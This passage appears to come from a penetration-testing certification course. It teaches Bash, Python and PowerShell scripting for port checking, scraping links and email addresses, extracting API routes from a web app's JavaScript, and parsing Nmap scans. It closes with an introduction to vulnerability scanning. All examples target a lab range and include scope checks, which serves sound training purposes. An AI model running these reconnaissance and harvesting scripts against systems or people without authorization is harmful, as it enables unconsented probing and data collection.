if [[ -z "$file" || -z "$port" ]]; then
    echo "usage: portcheck.sh FILE PORT"
    exit 1
fi
checked=0
open=0
for host in $(cat "$file")
do
    if [[ "$host" != 192.168.56.* && "$host" != "127.0.0.1" ]]; then
        echo "REFUSED $host: outside scope"
        continue
    fi
    checked=$((checked + 1))
    if nc -z -w 1 "$host" "$port"; then
        echo "$host,$port,open"
        open=$((open + 1))
    fi
    sleep 0.5
done
if (( checked > 0 )); then
    echo "open on $open of $checked hosts ($((open * 100 / checked))%)"
fi

Now change one input. Put three lines in hosts2.txt: 192.168.56.102, 203.0.113.5 (a documentation address standing in for a stray) and 192.168.56.101. On port 445:

$ bash portcheck.sh hosts2.txt 445
192.168.56.102,445,open
REFUSED 203.0.113.5: outside scope
open on 1 of 2 hosts (50%)

The stray address never received a packet. Read how that happened, because each piece is an exam term.

  • Command-line arguments. $1 and $2 are what you typed after the script's name at the command-line interface (CLI). Inputs that come from the CLI let you reuse a script without editing it.
  • Conditionals. if ... then ... fi chooses; continue jumps to the next pass of the loop; exit 1 ends the script and reports failure through the same exit status mechanism.
  • Boolean operators. Inside [[ ]], || means or and && means and. Both conditions must hold before the address is refused. They work between commands too: cmd1 && cmd2 runs the second only if the first succeeded, and cmd1 || cmd2 only if it failed. A single | is something else, a pipe.
  • String operators. -z is true for an empty string and -n for a non-empty one. Inside [[ ]], == and != treat an unquoted right side as a pattern, so 192.168.56.* matches the whole lab. Put quotes around it and the star becomes a literal star, which is why "127.0.0.1" can be quoted and the pattern cannot. =~ matches a regular expression.

Bash can also cut strings without any outside tool. With ip=192.168.56.102, ${ip%.*} gives 192.168.56 by removing the shortest match from the end, ${ip##*.} gives 102 by removing the longest match from the start, and ${#ip} gives the length, 14. Those are handy when a loop needs the network prefix or the last octet.

A flowchart in which one condition sends the program down a true branch or a false branch before the two paths rejoin.
How a conditional chooses
P. Kemp - CC0 - Wikimedia Commons
Three Venn diagrams with the overlap shaded for AND, both circles shaded for OR, and everything outside one circle shaded for NOT.
AND, OR and NOT as Venn diagrams
Watchduck - Public domain - Wikimedia Commons

Arithmetic operators: counting, percentages and pacing

Three lines of that script do arithmetic. Bash does it inside $(( )), and only with integers: the fraction is thrown away. So the order of operations can flip your answer.

$ echo $((1 / 3 * 100))
0
$ echo $((1 * 100 / 3))
33

The first divides first, gets 0, and stays there. That is why the script multiplies before it divides. The same operators give you subnet sizes, since $(( 2 ** (32 - 24) - 2 )) prints 254, and progress lines, since (( checked % 50 == 0 )) is true on every fiftieth pass (% is the remainder after division).

Arithmetic also keeps you honest about the ROE. Suppose it caps you at two connections per second, and you have 254 hosts and three ports. That is 254 x 3 = 762 connections, and at the 0.5-second pause in the loop, 381 seconds at the very least. Hosts that time out add a second each. Do this sum before you start, so that "the scan will finish by noon" is a calculation rather than a hope.

The other two languages differ in one way worth remembering. In Python, 7 / 2 is 3.5, 7 // 2 is 3 and 2 ** 8 is 256. In PowerShell, 7 / 2 is also 3.5, 7 % 2 is 1, and powers come from [math]::Pow(2, 8).

Data manipulation: grep, awk, cut and sort on a saved scan

So far the scripts gather information: they touch the network. Data manipulation, the objective's other half, touches nothing, and it pays back fastest. Scanning again to answer a new question is slow and noisy, so ask the file you already have. Here is a small scan in Nmap's grepable format, with fictional hosts on your lab's range. Nmap's documentation calls the format deprecated, and it survives because it suits these tools.

# Nmap scan as: nmap -sS -p 22,445,3389 -oG sample.gnmap 192.168.56.0/24
Host: 192.168.56.101 ()	Status: Up
Host: 192.168.56.101 ()	Ports: 22/open/tcp//ssh///, 445/closed/tcp//microsoft-ds///, 3389/closed/tcp//ms-wbt-server///
Host: 192.168.56.102 ()	Status: Up
Host: 192.168.56.102 ()	Ports: 22/open/tcp//ssh///, 445/open/tcp//microsoft-ds///, 3389/closed/tcp//ms-wbt-server///
Host: 192.168.56.103 ()	Status: Up
Host: 192.168.56.103 ()	Ports: 22/closed/tcp//ssh///, 445/filtered/tcp//microsoft-ds///, 3389/open/tcp//ms-wbt-server///

Three questions, three pipelines. Each | feeds one tool's output into the next tool's input.

$ grep "445/open" sample.gnmap | awk '{print $2}'
192.168.56.102

$ grep -c "22/open" sample.gnmap
2

$ grep -o '[0-9]*/open/tcp//[^/]*' sample.gnmap | cut -d/ -f1,5 | sort | uniq -c | sort -rn
      2 22/ssh
      1 445/microsoft-ds
      1 3389/ms-wbt-server

Read the last one piece by piece. grep -o prints only the matching text, one open port per line. cut -d/ -f1,5 splits each line on slashes and keeps fields 1 and 5, the port and the service. sort | uniq -c groups identical lines and counts them, because uniq only spots neighbors. sort -rn puts the biggest count first. Now you know which services dominate, without another packet.

Two traps catch people here. The first is matching too loosely. A UDP scan prints states such as 53/open|filtered/udp, and you learned in Lesson 7 that open|filtered is not open, yet grep open matches it. Search for /open/, slashes included. The second is the difference between >, which overwrites a file, and >>, which appends. Inside a loop, a single > leaves you with only the last result. To save results as comma-separated values (CSV), the plain text format every spreadsheet reads, write the header once and append after it:

echo "host,port" > open.csv
grep "445/open" sample.gnmap | awk '{print $2 ",445"}' >> open.csv
A diagram of three programs connected so that each one's standard output feeds the next one's standard input, with the last output and any errors going to the display.
A Unix pipeline
XcepticZP (new layout), User:TuukkaH (original diagram) - Public domain - Wikimedia Commons

Python: the HTML scraper promised in Lesson 6

HTML scraping, or web scraping, means fetching a page and pulling out what you need: links, names, addresses. Lesson 6 said you would modify a scraper, and here is the starting point. It uses only Python's standard library, the modules that ship with the language, so it runs with your NAT adapter unplugged. Save it as links.py:

#!/usr/bin/env python3
"""links.py: list the links on one page of the lab's web server."""
import urllib.request
from html.parser import HTMLParser

SCHEME = "http"
HOST = "192.168.56.102"
PATH = "/"


class LinkParser(HTMLParser):
    """Collect the href of every anchor tag it is fed."""

    def __init__(self):
        super().__init__()
        self.links = []

    def handle_starttag(self, tag, attrs):
        if tag == "a":
            for name, value in attrs:
                if name == "href":
                    self.links.append(value)


def fetch(url):
    """Return the text of one web page."""
    with urllib.request.urlopen(url, timeout=5) as reply:
        return reply.read().decode("utf-8", errors="replace")


parser = LinkParser()
parser.feed(fetch(f"{SCHEME}://{HOST}{PATH}"))
for link in parser.links:
    print(link)
$ python3 links.py
/twiki/
/phpMyAdmin/
/mutillidae/
/dvwa/
/dav/

Four things in it are named on the exam, and it helps to see why each is there.

ConstructWhereWhy it is used
Libraryimport urllib.request, from html.parser import HTMLParserSomeone has already solved HTTP and messy HTML. Importing is almost always better than writing your own
Classclass LinkParser(HTMLParser)A class bundles data with behavior. This one inherits all of HTMLParser's parsing and overrides one method, and self.links holds its memory between calls
Functiondef fetch(url)A named, reusable block with an input and an output. Every later page fetch reuses it
Loop and conditionalfor name, value in attrs, if tag == "a"The parser calls handle_starttag once per tag, passing the tag's lowercase name and a list of name and value pairs. The code keeps only the pair it wants

Python marks blocks with a colon and indentation, where Bash uses words like do and fi and PowerShell uses braces. A line indented wrongly is a logic error, not only a style problem. The f"..." string fills in the braces, which is why the scheme and host are separate variables you can change.

Colored HTML source code for a small page, including anchor tags with href attributes that a link parser would collect.
What a scraper reads
Html-source-code3.png : Reisio derivative work: Rehua ( talk ) - Public domain - Wikimedia Commons
A short Python function in a code editor, with if, elif and else branches marked by colons and indentation, followed by a call inside an f-string.
Python's colons and indentation
Zhanjack822 - CC0 - Wikimedia Commons

Modifying the scraper: arguments, scope, absolute links and email addresses

Four small changes turn that into something you could use on a job. Each one is the kind of change this objective is about.

GoalChangeConstruct
Choose the target at run timeRead sys.argv[1]Library, string operation (.split(":"))
Refuse anything out of scopeA new in_scope function using the ipaddress libraryFunction, Boolean, exception handling
Print each page once, on this host onlyset, sorted, urljoin, urlsplitLibrary, conditional
Pull out email addressesA regular expression from the re library, plus .replaceLibrary, string operators

The class and fetch stay exactly as they were. Change the top of the file and replace the last four lines. This is now scrape.py:

#!/usr/bin/env python3
"""scrape.py TARGET: links and email addresses from one in-scope page."""
import ipaddress
import re
import sys
import urllib.request
from html.parser import HTMLParser
from urllib.parse import urljoin, urlsplit

SCHEME = "http"
SCOPE = [ipaddress.ip_network("192.168.56.0/24"),
         ipaddress.ip_network("127.0.0.1/32")]
EMAIL = re.compile(r"[\w.+-]+@[\w-]+\.[\w.-]+")

# ... class LinkParser and def fetch, unchanged ...


def in_scope(host):
    """True only if host is an IP address inside SCOPE."""
    try:
        address = ipaddress.ip_address(host)
    except ValueError:
        return False
    return any(address in network for network in SCOPE)


def find_emails(text):
    """Return each address once, including ones written with [at]."""
    tidy = text.replace(" [at] ", "@").replace("[at]", "@")
    return sorted(set(EMAIL.findall(tidy)))


if len(sys.argv) != 2:
    sys.exit("usage: scrape.py HOST[:PORT]")
target = sys.argv[1]
host = target.split(":")[0]
if not in_scope(host):
    sys.exit(f"REFUSED {host}: outside scope")

base = f"{SCHEME}://{target}/"
page = fetch(base)
parser = LinkParser()
parser.feed(page)

for link in sorted(set(parser.links)):
    full = urljoin(base, link)
    if urlsplit(full).hostname == host:
        print("link", urlsplit(full).path)
for address in find_emails(page):
    print("email", address)

To test the email part you need a page with addresses on it, so build one and serve it on loopback only. Save this fictional page as team/index.html, then run python3 -m http.server 8000 --bind 127.0.0.1 --directory team in a second terminal.

<html><body>
<h1>Our team (fictional)</h1>
<p>Jane Doe, finance: jane.doe@example.com</p>
<p>Sam Lee, IT: sam.lee [at] example.com</p>
<a href="/careers/">Careers</a> <a href="/careers/">Jobs</a>
<a href="https://www.example.net/partner">Our partner</a>
</body></html>
$ python3 scrape.py 127.0.0.1:8000
link /careers/
email jane.doe@example.com
email sam.lee@example.com

$ python3 scrape.py 203.0.113.9
REFUSED 203.0.113.9: outside scope

Look at what each change did. The two links to /careers/ became one, because set keeps one of each. The partner link vanished, because its hostname differs from the target's: a crawler built on this will not wander off into someone else's domain.

Sam's address was found only because .replace tidied the disguised form first; the regular expression alone misses it, and people write addresses that way to dodge scrapers like yours. And in_scope turns a bad argument into a refusal, while try and except turn a hostname, which ip_address cannot parse, into False rather than a crash. Failing closed is the right default for a scope check.

Your requests leave a mark, too. By default urllib announces itself in the User-Agent header as Python-urllib plus a version number, so a defender reading the web log can see exactly what ran. On an engagement, the ROE may ask you to set a header that names the test, so analysts can attribute your traffic quickly.

The point: modification is usually small. Four changes, none longer than a few lines, gave this script arguments, scope, deduplication and a new kind of output, and its structure stayed the same.

One changed input: Juice Shop returns nothing

Point the same script at your other web target, with no code changed:

$ python3 scrape.py 127.0.0.1:3000
$

No links and no error. In a browser, that same address shows a full shop with menus and products. Count the anchor tags in what the server actually sends:

$ curl -s 127.0.0.1:3000/ | grep -c '<a '
0

Juice Shop is a single-page application, and the HTML it sends is nearly empty. Its source has one element in the body, app-root, and JavaScript fills that in after the page loads. urlopen fetches the HTML and stops. It does not run JavaScript, so the scraper was truthful: there are no anchor tags in what it read. A wrong conclusion here would be "this site has no pages". This is Lesson 8's lesson in another form: the tool answered the question it was asked.

The links live in the script files, so change what the parser collects and go read those files. A few lines in the class change, and a few more go at the end:

# in handle_starttag: collect script files as well as anchors
    def handle_starttag(self, tag, attrs):
        wanted = {"a": "href", "script": "src"}
        if tag in wanted:
            for name, value in attrs:
                if name == wanted[tag]:
                    self.links.append(value)

# at the end of the file: read each script and list its API routes
ROUTE = re.compile(r"/(?:rest|api)/[\w/-]+")
for link in sorted(set(parser.links)):
    if link.endswith(".js"):
        script = fetch(urljoin(base, link))
        for route in sorted(set(ROUTE.findall(script))):
            print("route", route)

Expect something like the lines below; the exact file names and routes depend on your Juice Shop version. The project's front-end source calls routes such as these, so the bundle must contain them.

link /main.js
route /api/Users
route /rest/user/login
route /rest/user/reset-password

That is enumeration from reading, with no guessing and only a few requests. It shows why client-side code cannot hide a route, and so why every route needs its own check on the server.

Your other options, when a page really needs a browser, are ZAP's AJAX Spider from Lesson 8 or a browser automation library.

And when HTML is merely untidy, not empty, many testers prefer the third-party Beautiful Soup library, whose soup.find_all("a") replaces the whole class. It is not in the standard library, and Kali asks you to prefer its apt packages or pipx over plain pip, so check before you depend on it in an offline lab.

A side-by-side diagram of a conventional web application, where the server sends HTML, and an Ajax application, where JavaScript in the browser builds the interface from data.
Why a scraper sees an empty page
DanielSHaischt, via Wikimedia Commons - CC BY-SA 3.0 - Wikimedia Commons

Reading Nmap XML with a library

Lesson 7 told you that XML is the Nmap output format meant for programs. Now you can see why. A pipeline on grepable text depends on the columns staying where they are. A parser reads named fields. This script turns the lab-full.xml you saved in Lesson 7 into a CSV file:

#!/usr/bin/env python3
"""scan2csv.py FILE.xml: write open ports from an Nmap XML file to open.csv."""
import csv
import sys
import xml.etree.ElementTree as ET

rows = []
for host in ET.parse(sys.argv[1]).getroot().iter("host"):
    address = host.find("address").get("addr")
    for port in host.iter("port"):
        if port.find("state").get("state") == "open":
            service = port.find("service")
            name = service.get("name") if service is not None else ""
            rows.append([address, port.get("portid"), name])

with open("open.csv", "w", newline="") as out:
    writer = csv.writer(out)
    writer.writerow(["host", "port", "service"])
    writer.writerows(rows)
print(f"{len(rows)} open ports written to open.csv")
$ python3 scan2csv.py lab-full.xml
30 open ports written to open.csv
$ head -3 open.csv
host,port,service
192.168.56.102,21,ftp
192.168.56.102,22,ssh

Your count may differ. Notice the comparison == "open": because state is a separate field, open|filtered cannot sneak in, which is the trap from the grepable pipeline solved by structure. csv.writer handles quoting, so a service name containing a comma would not break a row, as it would with echo. Reach for string splitting when the job is one line and the format is fixed. Reach for a library when you will rerun the script or hand it to someone else.

Python's idea of truth catches people in one specific way. You want rows for two ports, so you write this:

for port in ["22", "445", "3389"]:
    if port == "445" or "3389":
        print("match", port)

It prints all three. or joins two whole conditions, and the second one is just the string "3389", and a non-empty string counts as true, so the test always passes. Write port == "445" or port == "3389", or better, port in ("445", "3389").

Four lines of plain text with a header row and three rows of made-up company names and contacts, the fields separated by commas.
A CSV file as plain text
Belbury - CC BY-SA 4.0 - Wikimedia Commons

PowerShell: seven lines that print nothing and leave a file behind

Some clients' jump boxes offer PowerShell and nothing else, so you need to read it. Start pwsh and put this fictional export in scan.csv, one of its rows a stray address:

host,port,state,service
192.168.56.101,22,open,ssh
192.168.56.101,445,closed,microsoft-ds
192.168.56.102,445,open,microsoft-ds
192.168.56.102,3389,closed,ms-wbt-server
192.168.56.103,445,filtered,microsoft-ds
192.168.56.103,3389,open,ms-wbt-server
203.0.113.9,8080,open,http-proxy

A colleague who mostly writes Bash and Python wrote this report.ps1 to list open ports above 1024. It prints nothing and raises no error.

$rows = Import-Csv ./scan.csv
foreach ($row in $rows) {
    $target = $row.host
    if ($row.state = 'open' -and $row.port > 1024) {
        Write-Output "$target has $row.service open"
    }
}

Afterward, ls shows a new file named 1024 containing the word True. Three habits from other languages each do something quietly different here.

What was writtenWhat PowerShell doesWhat it should be
$row.state = 'open'= assigns. It changes the value in memory and tests nothing$row.state -eq 'open'
$row.port > 1024> is redirection, so it writes to a file called 1024$row.port -gt 1024
"$row.service"The string expands $row, the whole object, then adds the literal text .service"$($row.service)"

PowerShell's comparison operators are words with a hyphen: -eq -ne -gt -lt -ge -le, then -like for wildcards, -match for regular expressions, and -and -or -not for Boolean logic. String comparisons ignore case unless you add a c, as in -ceq. A == is not an operator at all; it produces a confusing error saying the term '=' is not recognized. Fix the three problems and run again.

foreach ($row in $rows) {
    if ($row.state -eq 'open' -and $row.port -gt 1024) {
        Write-Output "$($row.host) has $($row.service) open on $($row.port)"
    }
}

192.168.56.101 has ssh open on 22
192.168.56.102 has microsoft-ds open on 445
192.168.56.103 has ms-wbt-server open on 3389
203.0.113.9 has http-proxy open on 8080

It runs now, and it is still wrong: 22 and 445 are not above 1024. Everything Import-Csv reads is a string. Microsoft's documentation explains that the right side of a comparison is converted to the type of the left side, so this compares text, and as text "445" sorts after "1024". Change one thing, cast the field to a number with [int]$row.port -gt 1024, and the result flips to the two correct rows. The last job is the scope, with the same pattern idea as Bash:

Import-Csv ./scan.csv |
    Where-Object { $_.state -eq 'open' -and [int]$_.port -gt 1024 -and $_.host -like '192.168.56.*' } |
    Export-Csv ./open-high.csv -NoTypeInformation

This is PowerShell's real strength. Its pipeline carries objects with named properties, not text, so $_.port needs no cut or awk. Where-Object filters, Group-Object counts and Export-Csv writes the file. One more trap: do not name a variable $host, even though it is the obvious name. It is a built-in, and assigning to it fails with an error saying it cannot overwrite a read-only variable. That is why the script above says $target.

PowerShell has functions and classes too, and it reaches the whole .NET class library with square brackets. This pair checks a port and holds a result, and it runs from Kali's pwsh against your lab. Note how the function refuses before it connects.

function Test-LabPort {
    param([string]$Target, [int]$Port)
    if ($Target -notlike '192.168.56.*' -and $Target -ne '127.0.0.1') {
        throw "REFUSED $($Target): outside scope"
    }
    $client = [System.Net.Sockets.TcpClient]::new()
    try {
        return $client.ConnectAsync($Target, $Port).Wait(1000)
    } catch {
        return $false
    } finally {
        $client.Dispose()
    }
}

class Finding {
    [string]$Target
    [int]$Port
    [string] ToCsvLine() { return "$($this.Target),$($this.Port),open" }
}

PS> Test-LabPort -Target 192.168.56.102 -Port 445
True
PS> Test-LabPort -Target 192.168.56.102 -Port 8888
False

For information gathering, recent PowerShell can replace much of the Python scraper in one line, since (Invoke-WebRequest -Uri 192.168.56.102).Links.href prints the same five links. Test-Connection has a -TcpPort option in PowerShell 7 as well. On Windows, Get-LocalUser and Get-SmbShare from Lesson 8 return objects you can pipe in the same way.

The point: most script bugs that survive a first run come from another language's habit. Before you trust the output, ask what = and > mean in this language, and whether that field is a number or text.

A blue PowerShell window running commands such as Get-ChildItem piped through a filter to Measure-Object, with the results shown as named properties.
An early PowerShell console
Microsoft Corporation - Public domain - Wikimedia Commons

The same idea in three languages

Here is the whole lesson in one table. Cover a column and try to rebuild it; that exercise is close to what a modify-this-script question asks.

ConstructBashPythonPowerShell
Command-line argument$1sys.argv[1]$args[0] or param()
Loop over a file's linesfor h in $(cat f); do ...; donefor h in open("f"):foreach ($h in Get-Content f) { }
Counting loopfor i in $(seq 1 254)for i in range(1, 255):foreach ($i in 1..254) { }
Conditionalif ...; then ...; elif ...; else ...; fiif x: ... elif y: ... else: ...if (x) { } elseif (y) { } else { }
Compare numbers-eq -ne -lt -gt in [ ]== != < >-eq -ne -lt -gt
Compare strings== != (patterns in [[ ]]), =~== != in, re.search-eq -ne -like -match
Boolean operators&& || !and or not-and -or -not
String operators"$a$b", ${#s}, ${s%.*}a + b, len(s), s.split("."), s.replace()$a + $b, $s.Length, -split, -replace, -join
Arithmetic operators$(( a + b )), integers only+ - * / // % **+ - * / %, [math]::Pow()
What counts as trueExit status 0Anything but 0, "", None and empty collectionsAnything but 0, "", $null and empty collections
Functionname() { ...; }def name(x):function Name { param($X) }
Librarysource file, outside commandsimport xImport-Module x, [Net.Dns]::
ClassNoneclass X(Base):class X { }
Save as CSVecho "$a,$b" >> f.csvcsv.writerExport-Csv

What your scripts look like from the other side

A script is a tester's tool, and defenders see what it does as well as they see any other tool. This table uses the same columns as Lesson 8's family table.

TechniqueWeakness it relies onToolsWhat defenders seeFix
Connection loopReachable ports answer any clientnc in Bash, TcpClient in PowerShell, NmapOne source making full TCP connections to one port across many hosts, in file orderSegmentation, allow lists and host firewalls
HTML scrapingPages publish names, addresses and linksurllib and html.parser, Beautiful Soup, Invoke-WebRequestA burst of requests with a Python-urllib or PowerShell User-AgentPublish less, put staff directories behind a login, rate limit
Route extraction from JavaScriptClient-side code has to name its API routesPython with a regular expression, a browser's developer toolsRequests for static files, which look unremarkableCheck authorization on every route on the server
Parsing saved resultsNone on the target; this is offlinegrep, awk, Python, PowerShellNothingFix the findings the data reveals

What the exam asks, and the pairs people confuse

The stem saysIt points toDo not confuse it with
Do this for every host in a fileA loop: for, foreachA conditional, which chooses once
Only when a condition holds, or skip otherwiseA conditional: if, continueA loop
Both must be true, or either may beBoolean: && and -and, || or -or| and & in Bash, which pipe and background
The script prints nothing though the port is openIt tests output, and the tool reports by exit statusA firewall problem
Only the last host is in the results file> overwrote; use >>A loop that ran once
Every row matches the filterPython's or "3389", or a PowerShell text comparisonA broken data file
A count, a percentage, or hosts in a subnetArithmetic: $(( )), **, %String joining, where "$a$b" gives 12 from 1 and 2
Remove the last octet, or match a patternString operators: ${ip%.*}, .split, -likeArithmetic operators
Wildcards versus patterns in PowerShell-like takes wildcards-match, which takes regular expressions
Assign versus compare= assigns in Python and PowerShell== in Python, -eq in PowerShell
Reuse a block with different inputsA functionA class, which also bundles data
Parse HTML, make requests, test address rangesA library: html.parser, urllib, ipaddressWriting your own parser
A scraper finds nothing on a page full of menusJavaScript builds the page; read the scripts or use a browserA page with no content

How scripted results are reported

A script's output is not evidence until someone else can reproduce it. The first script in this lesson would have produced a clean-looking false negative: no SMB anywhere. So four things go in the evidence file with any scripted result:

  • the script with its SHA-256 hash from sha256sum
  • the exact command line with date and source address
  • the raw input such as scan.xml
  • a note of which results you checked by hand

Lesson 12 makes that manual check a formal validation step. Here is how a scripted result reads as a finding, for a fictional client.

  • Title: Telnet reachable from the staff network on 3 of 62 in-scope hosts.
  • Severity: High. Telnet sends logins in cleartext, so anyone on the same network can read them, and these three hosts run the client's order system. It is not Critical because an attacker needs a foothold on the staff network first.
  • Evidence: scan.xml and open.csv produced by scan2csv.py (hash in the evidence log), with date and source address; banners confirmed by hand on all three hosts. In-scope range 203.0.113.0/26 only; no logins attempted.
  • Root cause: Telnet is enabled in the build template for these servers, and no firewall rule separates them from staff workstations.
  • Remediation: disable Telnet in the template and on the three hosts, use SSH, and restrict management ports to an administrative network. The client can rerun the attached script against a new scan to confirm the fix.

Attaching the script is a kindness to the client and a discipline for you. If it has a bug, a reviewer can find it, and if it has none, the client's team gains a check they can run every month. State limits too: "the scan covered TCP only; port states of filtered are listed as unknowns."

Common misconceptions

  • "In Bash, zero means false." An exit status of zero means success, and if treats success as true. Python and PowerShell treat the number 0 as false.
  • "A script that prints nothing found nothing." It may be testing the wrong thing, as with a tool that reports by exit status. Run the command by hand to find out.
  • "A scraper sees what a browser sees." It sees the HTML the server sent. A single-page application builds its links with JavaScript afterward.
  • "Numbers in a CSV file are numbers." Import-Csv gives you strings, so -gt compares text until you cast the field with [int].
  • "You must write scripts from scratch for this objective." The objective's verb is modify. Reading a script and choosing the line to change is the practiced skill.

Looking back

Every script in this lesson answered four questions: what goes in, what repeats, what decides and what comes out. Ask them first, in any language. Then check the details that differ.

  • nc -z reports through its exit status and prints nothing, and Bash's if branches on exit status, where zero means success.
  • Bash loops read for ... do ... done with if ... then ... fi; Python uses a colon and indentation; PowerShell uses foreach and braces.
  • Boolean operators are && || ! in Bash, and or not in Python and -and -or -not in PowerShell; Python's port == "445" or "3389" is always true.
  • String tools include [[ == ]] patterns and ${ip%.*} in Bash, split, replace and in in Python, and -like (wildcards) and -match (regular expressions) in PowerShell. grep open also matches open|filtered, so search for /open/.
  • Bash arithmetic uses $(( )) and integers only, so multiply before dividing: 1 * 100 / 3 is 33, and 1 / 3 * 100 is 0. Python's / gives 3.5 for 7 / 2, and // gives 3.
  • Libraries save work (html.parser, urllib, ipaddress, re, csv, xml.etree.ElementTree), functions reuse a block, and a class bundles data with behavior, as when LinkParser inherits from HTMLParser.
  • Changing one input, the URL, took a scraper from five links on Metasploitable to none on Juice Shop, because a single-page application builds its links with JavaScript. Reading its script files found the routes.
  • In PowerShell, = assigns, > redirects to a file, comparisons are -eq and -gt, CSV fields are strings until cast with [int], and $host is taken.
  • Every script you keep starts with a scope check that fails closed, and every scripted result is reported with the script's hash, the command, the raw input and a note of what was checked by hand.

Sources

  1. CompTIA. (2024). CompTIA PenTest+ PT0-003 V3 certification exam: Exam objectives (Version 5.0), objective 2.3. comptia.org file host (PDF)
  2. Free Software Foundation. (n.d.). bash(1): Compound commands, Arithmetic evaluation, Conditional expressions, Parameter expansion, Exit status. man7.org. OffSec. (n.d.). netcat (nc.traditional help text) and powershell. Kali Linux tools. netcat; powershell
  3. Python Software Foundation. (n.d.). The Python standard library: html.parser; urllib.request; urllib.parse; ipaddress; re; csv; xml.etree.ElementTree
  4. Microsoft. (n.d.). PowerShell documentation: about_Comparison_Operators; about_Logical_Operators; about_Arithmetic_Operators; about_Automatic_Variables; about_Functions; about_Classes; Import-Csv; Invoke-WebRequest; Test-Connection
  5. Lyon, G. (n.d.). Grepable output (-oG) and Output. In Nmap network scanning and Nmap reference guide. grepable output; output. Shafranovich, Y. (2005). Common format and MIME type for comma-separated values (CSV) files (RFC 4180). rfc-editor.org
  6. Kimminich, B., and contributors. (n.d.). OWASP Juice Shop source: frontend/src/index.html, frontend/angular.json and frontend/src/app/Services/user.service.ts. github.com. Richardson, L. (n.d.). Beautiful Soup documentation. crummy.com. OffSec. (n.d.). Installing Python applications via pipx. kali.org
Key terms
Exit status
The number a program returns when it ends; in Bash, zero means success and anything else means failure, and $? holds the last one.
Command-line interface
A way to run programs by typing commands, abbreviated CLI; a script's command-line arguments let it be reused without editing.
Comma-separated values
A plain text table format, abbreviated CSV, with one row per line and fields divided by commas, which spreadsheets and scripts both read.
Web scraping
Fetching web pages with a program and extracting data from them, such as links, names or email addresses; also called HTML scraping.
Regular expression
A compact pattern language for matching text, such as a pattern that finds anything shaped like an email address.
Standard library
The modules that ship with a programming language, usable with no extra installation, such as Python's html.parser and ipaddress.
Boolean expression
A condition that is either true or false, built with operators such as and, or and not.
Single-page application
A web application that sends nearly empty HTML and builds its pages in the browser with JavaScript, so a plain scraper finds almost nothing.
Scope check
A test at the start of a script that refuses any target outside the authorized range and treats anything it cannot parse as out of scope.

Module 4: Vulnerability Discovery and Analysis (Domain 3, objectives 3.1-3.3)

Run and read the scanners that find weaknesses: network, host, authenticated, industrial, application, container, code and secrets scans. Then separate true findings from false positives and blind spots, choose public exploits with care, and test the physical security that guards all of it.

Before the First Finding: Network, Host, Authenticated, and ICS Vulnerability Scans

  • Plan network, host-based, authenticated and unauthenticated vulnerability scans, and say what each can and cannot see.
  • Choose among Nikto, Greenbone/OpenVAS, Tenable Nessus, BloodHound and PowerSploit, and read the output each produces.
  • Explain why a banner match, a package check and a live test deserve different trust, using BIND 9.4.2 as the worked case.
  • Assess an industrial control system without active scanning, through manual assessment and port mirroring, and report what you find.

A ping sweep and a nine-foot robotic arm

A ping sweep was crossing a live SCADA network, the supervisory control and data acquisition kind that moves physical equipment, when one of its 9-foot robotic arms left standby and swung around 180 degrees. The person in the room happened to be out of reach. The same 2005 Sandia National Laboratories report describes two more incidents. A second ping sweep, run only to take inventory, hung a chip plant's control system and destroyed $50,000 worth of wafers. A test of a gas utility's corporate network wandered into its SCADA system and stopped gas moving through the pipelines for four hours.

A scan is an action, not a look. Before the first finding exists you decide what the scan may touch, what it must include, and how far you will believe what it says. This lesson walks those decisions on your own target in the order a tester works. Then it changes one input, credentials, and watches the results flip. Then it changes a bigger one, a plant instead of a server, and most of the procedure has to be replaced.

Exam objectives: 3.1 (network scans, TCP/UDP and stealth; host-based scans; authenticated versus unauthenticated scans; industrial control system vulnerability assessment, manual assessment and port mirroring; Nikto, Greenbone/OpenVAS, Tenable Nessus, BloodHound and PowerSploit). Lesson 11 covers the application, container and secrets scans from the same objective, and Lesson 20 the wireless ones.

A jointed industrial robot arm bolted to a steel table, with its control box beside it and a handheld touch-screen teach pendant in front.
A robot arm with its controller and pendant
Auledas - CC BY-SA 4.0 - Wikimedia Commons

Before you run anything

Testing a system without its owner's written permission is illegal and wrong, under the US Computer Fraud and Abuse Act, the UK Computer Misuse Act and similar laws elsewhere. Every command here names your host-only target, 192.168.56.102, or Kali itself. A vulnerability scanner sends far more traffic than a port scan, and stranger traffic, so on a client network it must be named in the signed scope and run inside the testing window. Tell the client's security operations center (SOC) your source address too, unless the rules of engagement say the test is meant to surprise them.

Set up once with Kali's NAT adapter attached, because the packages and the vulnerability feed come from the internet: sudo apt install nikto gvm lynis, then sudo gvm-setup, which can take a long time. sudo gvm-check-setup reports anything missing. Greenbone's container documentation asks for at least 2 CPU cores, 4 GB of RAM and 20 GB of disk, so your Kali VM may need more. Then detach the NAT adapter, snapshot Metasploitable and run sudo gvm-start. The web interface is at 127.0.0.1:9392 over HTTPS.

What a vulnerability scanner can actually know

Nmap tells you what is listening. A vulnerability scanner goes on to ask whether what is listening has a known flaw. NIST SP 800-115 lists the job as identifying hosts and open ports, identifying known vulnerabilities and often advising on fixes, and warns in the same breath that these tools have high false positive rates. The reason lies in how a scanner knows anything. There are only three ways.

  • It reads a claim. The service announces a version and the scanner compares that with advisories. This is fast, remote and easily wrong.
  • It reads the machine. It logs in and lists installed packages or registry entries. This is reliable, and it needs credentials.
  • It tests behavior. It sends a probe whose reply shows the flaw. This is strong evidence, and it touches the service the most.

Greenbone, the scanner you will use, puts a number on this, called Quality of Detection (QoD).

QoDTypeHow the scanner knows
100%exploitVerified by an exploit
99%remote_vulActive check whose reply clearly shows the flaw
97%package, registryLogged in and read the package list or Windows registry
80%remote_bannerBanner from a product that shows its patch level
70%remote_analysisRemote check with some analysis; not always reliable
30%remote_banner_unreliableBanner from a product that hides its patch level, common in open source because of back-ported fixes

By default Greenbone displays only results at 70 percent or above, so a 30 percent result is not wrong, just hidden. "Not in the default view" never means "not found".

So what?: severity says how bad a flaw would be; QoD says how sure the scanner is that you have it. Read both.

Network scans: TCP, UDP and what stealth buys

Lesson 7 taught the flags and port states, so reuse that evidence: sudo nmap -sS -p- -T4 192.168.56.102 -oA lab-full and sudo nmap -sU --top-ports 20 192.168.56.102 -oA lab-udp.

The new question is what the vulnerability scanner does on its own, and the answer is a trap: neither big scanner covers UDP in its defaults. Greenbone's manual warns that its default port list has no UDP port, so port 161 is ignored and no SNMP check runs. The Nessus Advanced Scan template covers about 4,790 common ports with its SYN scanner on and its UDP scanner off.

A report that is silent on SNMP may therefore be a configuration fault, not a clean result. Hand the scanner a port list built from your Nmap results.

The exam's "stealth scans" trade thoroughness for fewer traces.

